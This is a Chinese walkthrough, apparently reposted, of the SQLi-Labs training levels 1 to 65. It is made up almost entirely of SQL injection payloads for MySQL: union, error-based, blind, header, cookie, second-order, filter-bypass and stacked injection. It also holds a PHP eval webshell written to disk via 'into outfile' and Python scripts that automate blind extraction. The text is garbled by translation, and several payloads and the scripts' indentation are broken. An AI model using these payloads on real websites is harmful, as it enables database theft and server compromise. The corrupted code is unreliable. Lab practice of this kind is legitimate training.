SQLi_Labs通關文檔【1-65關】


SQLi_Labs通關文檔【1-65關】

為了不干擾自己本機環境,SQL-LAB我就用的碼頭工人,跑起來的,搭建也非常簡單,也就兩條命令

docker pull acgpiano/sqli-labs

docker run -dt --name sqli-lab -p [你要映射的端口]:80 acgpiano/sqli-labs:latest

然后在SQL-LAB上直接初始化數據庫就好了。

 

這里列舉一下SQL基礎語句

show databases; //查看數據庫

use xxx; //使用某個數據庫

show tables; //查看該數據庫的數據表

desc xxx; //查看該數據表的結構

select * from xxx; //查找某個數據表的所有內容

select schema_name from information_schema.schemata; //猜數據庫

select table_name from information_schema.tables where table_schema='xxxxx'; //猜某數據庫的數據表

Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列

left(a,b) //從左側截取 a 的前 b 位

mid(column_name,start[,length]) //從位置start開始,截取column_name字符串的length位,與substr作用相同

substr(string, start, length) //從位置start開始,截取字符串string的length長度,與mid作用相同

ascii() //將某個字符轉換成ascii碼

ord() //將某個字符轉換成ascii碼,同ascii()

 

少-1

嘗試添加'注入,發現報錯

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

這里我們就可以直接發現報錯的地方,直接將后面注釋,然后使用

1' order by 3%23 //得到列數為3

//這里用-1是為了查詢一個不存在的id,好讓第一句結果為空,直接顯示第二句的結果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到數據庫名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名

-1' union select 1,group_concat(column_name),from information_schema.columns where table_name= 'users'# //得到列名

-1' union select 1,username,password from users where id=3# //爆破得到數據

少-2

在添加“之后,得到返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到這個SQL語句其實並沒有單引號,只是用數字進行查詢,例如

select * from users where id=1

所以我們也可以跟上面一樣,有效載荷:

-or 1=1%23

欠3

添加“之后,返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的SQL語句:

select * from users where id=('input') LIMIT 0,1;

所以我們可以需要閉合)。

-1') or 1=1%23

欠4

嘗試“並未發現報錯,嘗試”發現報錯

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以得到大概的SQL語句

select * from users where id = ("input") LIMIT 0,1;

所以有效載荷:

-1") or 1=1 %23

其他注入語句同上,就不再一一列舉了。

少-5

嘗試'發現報錯

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜測SQL語句為

select * from users where id='input' LIMIT 0,1;

如果嘗試之前的注入方法,會發現不再會返回我們注入的信息,如果注入成功的話,頁面會返回You are in...,出錯的話就不會返回這個字符串,所以這里我們可以進行盲注。

使用左()

我們例如可以使用1' and left(version(),1)=3%23這個有效載荷進行測試,截取version()得到的最左側的字符判斷是否為3,如果為3則正常返回You are in...,否則不返回。所以我們可以利用這個一步一步爆破得到left(version(),1)=5。爆破區間可以確定在/[0-9.]/

采用1'and length(database())=8%23對數據庫名字長度進行爆破,確定數據庫名字長度之后,可以我們使用database()來進行爆破數據庫名,采用left(database(),1)>'a'這個有效載荷進行測試,原理跟上述一致,看返回即可,直到截取長度與數據庫名字一致為止,這里效率比較高的就是采用二分法進行盲注

使用SUBSTR(),ASCII()

也可以采用SUBSTR(),ASCII()函數進行嘗試:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取數據庫下第一個表的第一個字符與80ascii值進行對比

找第二個字符只需要改成substr('xxx',2,1)即可。
找第二個表改成limit 1,1

使用正則表達式()

1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ORD(),中()

1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)將username轉換成字符串
//IFNULL(exp1,exp2)假如expr1不為NULL,則IFNULL()的返回值為expr1; 否則其返回值為expr2。IFNULL()的返回值是數字或是字符串,具體情況取決於其所使用的語境。
//ord前文提過

使用報錯注入

推薦一篇超詳細的講解報錯注入的文章

Mysql報錯注入原理分析(count(),rand(),分組)

超鏈接:https //www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#

1' union select (!(select * from (select user())x) - ~0),2,--+

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

 

使用延時注入

benchmark是Mysql的一個內置函數,其作用是來測試一些函數的執行速度.benchmark()中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,FROM (select database() as current) as tb1--+

少-6

沒有回顯,可以使用布爾盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

發現可以>100有回顯,小於就沒有,也可以用報錯注入...

這里就是把Less-5中的'改成"就行了

少-7

使用文件導出

1'))UNION SELECT 1,2,into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23

1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

少-8

可以使用時間盲注,也可以用bool盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

少-9

同少 - 8可以使用時間盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

欠10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

欠11

報錯注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

欠12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

欠13

1') or 1=1#

成功登錄,報錯注入成功但是不回顯,可以考慮盲注

1') or ascii(substr((database()),1,1))>100#

欠14

1" or 1=1#

成功登錄,依然不能回顯,嘗試使用布爾盲注

1" or left(database(),1)='s'#

可以發現用updatexml進行報錯注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

欠15

1' or 1=1#

成功登錄,布爾注入或者時間盲注均可行

1' or left(database(),1)='s'#
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

欠16

1") or 1=1#

成功登錄,布爾注入或者時間盲注均可行

1") or left(database(),1)='s'#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

欠17

update注入,username過濾了很多,有password錯誤回顯,考慮用報錯注入

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

欠18

登錄成功后,頁面提示

Your IP ADDRESS is: 172.17.0.1
Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

那么有可能是ip或者UA注入,看了一下發現是個Header頭注入,這里需要注意這是登錄成功的條件下才能觸發的,而且既然是insert注入,需要用'1'='1閉合后面的sql語句,否則就是語法錯誤了

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

欠19

登錄成功后提示

Your IP ADDRESS is: 172.17.0.1
Your Referer is: http://localhost:8081/Less-19/

於是我們可以知道是在Referer應該有注入點,在Referer處同樣用

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

欠20

cookie注入,登錄成功后修改cookie即可

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

欠21

登錄成功后發現cookie加上了base64

YOUR COOKIE : uname = YWRtaW4=

用上面的payload進行base64編碼就行了,記得=要urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

欠22

同21,單引號換成雙引號即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

欠23

這里#--+均被過濾了,但是可以我們利用or "1"="1來閉合后面的雙引號也。可以達到我們的目的

-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

欠24

這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以以自己的密碼修改admin的密碼了,因為修改密碼處形成的sql語句是

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

這樣#就注釋掉了后面的sql語句

欠25

題目很直接,提示直接把  orand過濾了,但是可以用&&||繞過

admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

也可以雙寫繞過

0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#

少-25A

-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

欠26

題目提示空格與注釋被過濾了,使用可以%0a繞過,可以盲注也可以報錯注入

0'||left(database(),1)>'s'%26%26'1'='1
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

少-26A

題目提示空格與注釋被過濾了,使用可以%a0繞過,報錯注入不出,可以用布爾盲注

0'||'1'='1 #探測為'
0'||left(database(),1)='s'%26%26'1'='1

白盒審計知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00

欠27

提示題目unionselect被過濾了,可用大小寫繞過

0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

少-27A

增加了"

0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

欠28

union select大小寫均被過濾,但是select還可單獨用,盲注即可

0')||left(database(),1)>'s';%00

少-28A

依然可以用盲注

0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00

欠29

利用tomcatapache解析相同請求參數不同的特性,tomcat解析相同請求參數取第一個,而apache取第二個,如?id=1&id=2tomcat取得1,apache取得2

?id=1&id=0' union selEct 1,group_concat(schema_name),from information_schema.schemata;%23

欠30

與29架構一樣,原理一致只不過加了"限制

?id=1&id=0" union selEct 1,group_concat(schema_name),from information_schema.schemata;%23

欠31

架構一樣,多了")

?id=1&id=0") union selEct 1,group_concat(schema_name),from information_schema.schemata;%23

Le ss-32

注意是GBK,用可以%df進行寬字節注入

0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

欠33

0%df' union selEct 1,group_concat(schema_name),from information_schema.schemata;%23

少-34

uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit

欠35

0 union selEct 1,group_concat(schema_name),from information_schema.schemata;%23

欠36

0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

欠37

uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

欠38

堆疊注入,創建³³成功test數據表

1';create table test like users;%23

少-39

1;create table test39 like users;%23

欠40

1');create table test40 like users;%23

欠41

1;create table test41 like users;%23

欠42

password處無過濾

login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

欠43

password處無過濾

login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

欠44

login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login

少-45

login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login

欠46

order by注入

usernamepassword均為列名,所以以下需要知道列名

?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1) //order by rand(1)/rand(0)兩者返回不一樣
?order=(select 1 regexp if(1=1,1,0x00))

1=1換成布爾盲注的語句函數即可用於獲取數據

sort=rand(ascii(database(),1))=115)

時間盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool盲注

rand(ascii(left(database()),1))=115)

報錯注入:

updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

程序分析參數后注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

到outfile參數:

id=1 into outfield "path"

上傳網馬,在可以加上后面lines terminated by 16進制轉碼的數據

欠47

',可以用報錯

1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以用時間盲注

1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

程序分析參數后注入

1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

少-48

and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)

少-49

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

欠50

堆疊注入

1;create table test50 like users;%23

欠51

1';create table test51 like users;%23

欠52

1;create table test52 like users;%23

欠53

1';create table test53 like users;%23

欠54

如果沒有點提交按鈕將會進入下面的其他語句,有過濾,顯然突破口在上面。如果點了提交將會setCookie方法,看到然后個有GET提交的ID參數,然后有個更新數據庫操作,這里限制了10次請求次數,否則更新數據庫。

http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查庫
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查數據

少-55

這個題限制了請求14次,不過當測試出閉合情況之后后面就一切順利了
先嘗試閉合

http://192.168.211.145/sqli/Less-55/?id=1'%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1')%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正確

之后嘗試的英文發現用)閉合

http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23

欠56

這幾關都差不多,首先也是嘗試閉合

http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功閉合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23

欠57

這關是雙引號閉合的

http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23

欠58

查詢之后並沒有返回查詢數據庫當中的數據,不能使用工會聯合注入,但是有報錯回顯,可以使用報錯注入。

http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

少-59

SQL語句:

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

有效載荷:

http://192.168.211.145/sqli/Less-59/index.php?id= and extractvalue(1, concat(0x5c, (select database())))%23

欠60

http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

欠61

http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

欠62

接下來幾關要在130次內完成盲注。只不過有次數限制,很明顯不能去爆破

http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23


寫腳本跑出數據庫名字:
# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,11):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num

跑字段的腳本

# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,25):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num

少-63

這關跟上一關一樣,的唯一區別在於需要使用單引號閉合

不再贅述!

欠64

這關跟上一關一樣,的唯一區別在於需要使用括號閉合

不再贅述!

少-65

這幾關性質都一樣,只不過閉合語句不同,不再贅述

SQL語句:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM